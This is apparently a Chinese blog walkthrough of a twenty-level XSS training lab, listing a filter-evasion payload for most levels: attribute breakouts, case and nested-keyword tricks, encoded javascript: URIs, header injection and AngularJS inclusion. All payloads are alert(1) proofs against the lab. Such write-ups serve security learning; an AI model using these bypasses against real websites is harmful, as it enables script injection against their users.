不熟悉xss绕过的,可以在下面链接中查看各种过滤手段介绍:

https://owasp.org/www-community/xss-filter-evasion-cheatsheet

Level-1

首先第一关一般比较简单,我们看到前端有显示我们输入内容的地方,我们猜测应该是可以插入<script>标签的,所以我们直接在参数中传入如下:

payload:

https://xss.angelo.org.cn/level1.php?name=<script>alert(1)</script>

Level-2

这一关中是搜索型的xss,一般我们知道将内容输入到input标签中的时候是将内容放到value属性中,所以会使用引号进行闭合,我们可以提前闭合其引号,然后输入<script>脚本。

payload:

https://xss.angelo.org.cn/level2.php?keyword="><script>alert(1)</script>

Level-3

我们看到这一关还是搜索型,我们尝试上一关的方法,首先我们可以在源码中看到这次input的闭合方式是单引号,所以我们就将上一关中的双引号替换为单引号来进行尝试 。但是我们输入的内容原封不动的输出了出来,我们猜测可能后端将我们输入的某些字符进行了转,我们查看源码可以发现:

<input name=keyword  value=''&lt;script&gt;alert(1)&lt;/script&gt;'>

我们可以看出我们输入的两个尖括号被编码为了xml实体格式,既然我们的尖括号被转移,那我们就使用属性来完成函数的执行。

payload:

https://xss.angelo.org.cn/level3.php?keyword=' onclick=alert(1) value='1

我们可以看到,我们首先使用单引号闭合前面的value的单引号,onclick是当我们点击这个标签的时候,会触发指定的函数,然后我们将alert(1)写在其后面即可,最后我们再重写value来闭合另一个单引号完成弹框。我们还可以注释掉后面的单引号,这里的onfocus函数是我们光标聚焦到那个标签的时候会触发的事件同样可以绕过。

payload2:

https://xss.angelo.org.cn/level3.php?keyword=' onfocus=alert(1)//

Level-4

这一关我们使用"><script>alert(1)</script>测试之后我们发现尖括号被过掉了

<input name=keyword  value=""scriptalert(1)/script">

我们第三关已经找到了不需要尖括号的方式,所以我们这里可以继续使用第三关的方式来绕过。

我们还可以使用javascript:alert(1)来执行。

payload:

" onclick=alert(1) value="1
" onclick=alert(1)//
" onfocus=javascript:alert(1) "

Level-5

首先我们可以看到是双引号闭合方式:

<input name=keyword  value="">

所以我们首先测试" onclick=alert(1)//,然后测试了"><script>alert(1)</script>

结果如下:

<input name=keyword  value="" o_nclick=alert(1)//">
                                                  
<input name=keyword  value=""><scr_ipt>alert(1)</script>">                   

经过分析应该是将我们on之间添加了一个_导致我们无法使用onclick函数,还有<script>中也添加了一个下划线导致我们无法使用<script>标签。不过我们还可以使用其他标签比如<a>

payload:

"><a href=javascript:alert(1)>123

然后我们点击123即可弹窗。

Level-6

首先我么查看input标签的闭合方式:

<input name=keyword  value="">

依旧是双引号,我们可以再使用之前的方式进行测试," onclick=alert(1)//"><script>alert(1)</script>"><a href=javascript:alert(1)>123

<input name=keyword  value="" o_nclick=alert(1)//">
<input name=keyword  value=""><scr_ipt>alert(1)</script>//">
<input name=keyword  value=""><a hr_ef=javascript:alert(1)>123">
<input name=keyword  value="<img sr_c=#>">

这一次又将href中间添加了下划线,href我们也不能用了,src也是,但是经过我们的测试它仅仅过滤小写没有匹配大写的字符,所以我们可以通过大写来进行绕过。

payload:

"><SCRIPT>alert(1)</script>

Level-7

这次的还是双引号闭合,让后我们测试得到如下结果:

<input name=keyword  value=""><>alert(1)</>//">
<input name=keyword  value="" click=alert(1)//">
<input name=keyword  value=""><a =java:alert(1)>123">
<input name=keyword  value="<img =#>">

我们之前使用函数的on,script,src全部都被替换为空,大写也全部被替换,但是我们发现:

<scrSRCipt>最终输出<script>
<scrONipt>最终输出<script>
<scrHREFipt>最终输出<script>
OsrcN最终输出on
OhrefN最终输出on
srHREFc最终输出src

由此我们可以猜测出过滤的顺序是script,on,src,href最终导致我们利用这个规则来进行绕过。

payload:

"><scrSRCipt>alert(1)</scrSRCipt>

当然这一关的过关方式有很多种,我这里就写了一种比较常见的

Level-8

这一关我看到是添加内容,这里是将我们输入的内容当做a标签的href的值,然后将a标签添加到页面上。

<a href="">友情链接</a>

我们可以看到双引号闭合,我们就来用双引号来测试一下。

测试一:"><img src=#>//
返回结果:<a href="&quot><img sr_c=#>//">友情链接</a>
测试二:src,script,data,href,onclick
返回结果:<a href="sr_c,scr_ipt,da_ta,hr_ef,o_nclick">

我么你可以看到用来闭合的尖括号html实体编码,以及我们输入的几个关键字都被加了下划线。利用属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开来进行绕过,不过这种方式我们需要直接再网址URL的keyword后面添加,如果我们直接在输入框中添加我们输入的%会被url编码导致失败:

payload1:

https://xss.angelo.org.cn/level8.php?keyword=javas%0dcript:alert()
https://xss.angelo.org.cn/level8.php?keyword=javas%0acript:alert()
https://xss.angelo.org.cn/level8.php?keyword=javas%09cript:alert()

我们还可以使用实体编码来绕过:

html实体编码表:https://www.jb51.net/onlineread/htmlchar.htm

由于我们只需要它为字符串即可,所以我们可以将其转换为实体编码当我们点击标签的时候就可以完成代码的执行。

编码的字符串:javascript:alert(1)

编码后:

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

a标签

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">友情链接</a>

最后点击a标签可以完成弹窗。

Level-9

我们查看源码,依旧是双引号的方式,接着我们对关键字进行测试。

"><script>alert(1)</script>  输出结果:<a href="您的链接不合法?有没有!">友情链接</a>
“><img src=#>  输出结果:<a href="您的链接不合法?有没有!">友情链接</a>
”>  输出结果:<a href="您的链接不合法?有没有!">友情链接</a>
<script>alert(1)</script>  输出结果:<a href="您的链接不合法?有没有!">友情链接</a>
"  输出结果:<a href="您的链接不合法?有没有!">友情链接</a>
onerror  输出结果:<a href="您的链接不合法?有没有!">友情链接</a>

以及我们上一关的方式同样也是不合法:

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;  输出结果:<a href="您的链接不合法?有没有!">友情链接</a>

最终经过我们一番盲测发现需要添加http://

http://javascript:alert(1)
<a href="http://javascr_ipt:alert(1)">友情链接</a>

不过还是有和之前一样的过滤规则就是在关键字中添加下划线,不过我们还测试出了没有限定http://的位置在哪里,所以我们可以将其写在尾部或者直接弹出这个字符也可以:

payload:

这个需要直接填写在链接后面

https://xss.angelo.org.cn/level9.php?keyword=javas%0dcript:alert('http://')
https://xss.angelo.org.cn/level9.php?keyword=javas%0dcript:alert(1)//http://

使用实体编码绕过:

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;//http://

Level-10

这一关没有了输入框,需要我们直接在URL中进行传递参数,我们查看源码可以发现有三个隐藏的标签,经过我们测试发现最后一个标签可以使用get传递参数。

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">

那我们首先按照其规则来传递参数将其类型改为button,接着添加一个点击事件。

payload:

https://xss.angelo.org.cn/level10.php?t_sort=" type="button" onclick=alert(1)>//

最终成功弹窗。

Level-11

这一关和第十关一样也是有隐藏的标签,我们首先对隐藏标签是否能够接收参数来进行测试,最后我们发现这些隐藏的input标签都已经无法接受,最终没有找到绕过方法,无奈至此,我们分析一下php处理源码:

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

在源码中我们可以看到其接受了keyword和t_sort以及接收请求中的HTTP_REFERER,并过滤referer中的两个尖括号,其汇总keyword的值被html实体编码然后输出,t_sort的内容也是被实体编码之后输出,但是我们的referer只是过滤了两个尖括号,所以我么修改referer来完成弹窗。

payload:

" type="button" onclick=alert(1)>//

Level-12

这一关中我们查看页面源码可以发现有隐藏标签,这些隐藏标签中有一个我们可以看到是我们请求中的User-Agent,所以我们可以尝试修改user-agent来完成本关。

payload:

" type="button" onclick=alert(1)>//

成功过关。

Level-13

这一关和之前的模式下相同采用隐藏标签,这次我们看到隐藏标签中有一个标签的name是t_cook,经过我们的猜测,应该是cookie的值,所以我们这次请求页面的时候将cookie修改为我们测试的参数。我们看到正常情况下的cookie的值是:user=call me maybe?。所以我们将其内容部分替换即可

payload:

user=" type="button" onclick=alert(1)>//

成功过关。

Level-14

这一关由于其中iframe中的链接失效了,所以无法完成,不过我们找到其他人完成的思路,我们在这里学习一下。

我们首先在一个图片的详细信息中插入xss

接着我们将带有xss的图片上传,即可弹框。

Level-15

首先我们查看源码,好像没有什么可以输入参数的点,不过经过我们测试还是发现了src这个参数可以接受内容,最终是显示在这个位置

我们通过源码发现这里使用了Angular JS,这个是一个 JavaScript 框架。它可通过 <script> 标签添加到 HTML 页面。 通过指令扩展了 HTML,且通过表达式绑定数据到 HTML。

Angular JS 
ng-include
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
格式:
<element ng-include="filename" onload="expression" autoscroll="expression" ></element>
ng-include 指令作为元素使用:
<ng-include src="filename" onload="expression" autoscroll="expression" ></ng-include>
filename    文件名,可以使用表达式来返回文件名。
onload        可选, 文件载入后执行的表达式。
autoscroll    可选,包含的部分是否在指定视图上可滚动。

我们可以通过ng-include来包含文件,但是我们通过介绍知道如果要想包含文件,必须在同一个域名下,既然这样,我们借用第一关来完成这一关,不过我们发现这里引用的js文件需要连接外网,只有当我们可以直接请求到这个js文件的时候才能正常完成:

payload:

https://xss.angelo.org.cn//level15.php?src=%27level1.php?name=test%3Cimg%20src=1%20onerror=alert(1)%3E%27

最终我们执行之后,会将level1的页面也显示在返回页面中,最终完成弹窗。

Level-16

经过我们的测试发现,这一关中它将空格、script以及/给编码为html实体的空格,不过我们还可以使用尖括号,既然我们不能使用空格来断开,我们可以使用之前用到过的编码格式来替代空格%0d、%0a

payload:

https://xss.angelo.org.cn//level16.php?keyword=%3Cimg%0asrc=123.jgp%0aonerror=alert(1)%3E

https://xss.angelo.org.cn//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

https://xss.angelo.org.cn//level16.php?keyword=<svg%0aonload=alert`1`></svg>

Level-17

经过我们的测试我们发现双引号以及尖括号被实体编码,不过我们经过测试发现其经过url传入的参数可以被控制并插入标签中。

payload:

https://xss.angelo.org.cn//level17.php?arg01=2&arg02=b%20onmouseover=alert(1)

不过我们发现这一关可以用的事件属性有如下:

onmouseout        当鼠标指针移出元素时触发。
onmouseover     当鼠标指针移动到元素上时触发。
onmousewheel    当鼠标滚轮正在被滚动时运行的脚本。
onmousemove        当鼠标指针移动到元素上时触发。
onmouseup         当在元素上释放鼠标按钮时触发。

这个标签所有的事件属性:

onclick                元素上发生鼠标点击时触发。
ondblclick            元素上发生鼠标双击时触发。
ondrag                元素被拖动时运行的脚本。
ondragend            在拖动操作末端运行的脚本。
ondragenter            当元素元素已被拖动到有效拖放区域时运行的脚本。
ondragleave            当元素离开有效拖放目标时运行的脚本。
ondragover            当元素在有效拖放目标上正在被拖动时运行的脚本。
ondragstart            在拖动操作开端运行的脚本。
ondrop                当被拖元素正在被拖放时运行的脚本。
onmousedown            当元素上按下鼠标按钮时触发。
onmousemove            当鼠标指针移动到元素上时触发。
onmouseout            当鼠标指针移出元素时触发。
onmouseover            当鼠标指针移动到元素上时触发。
onmouseup            当在元素上释放鼠标按钮时触发。
onmousewheel        当鼠标滚轮正在被滚动时运行的脚本。
onscroll            当元素滚动条被滚动时运行的脚本。

可能有一些我没有测试出来,大家可以自行尝试还有那些属性可以使用。

Level-18

这一关和17关的解题目方法一样,我们首先使用url编码格式的空格%20来断开参数,接着我们自行添加事件即可。

https://xss.angelo.org.cn//level19.php?arg01=a&arg02=1%20onmousewheel=alert(1)

Level-19-20

这两关利用了flush xss,如果有兴趣的可以去了解一下。

最后附上源码:链接: https://pan.baidu.com/s/1yKeB6XJ7aR12LzNzIYaTUQ 提取码: k5e6

最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏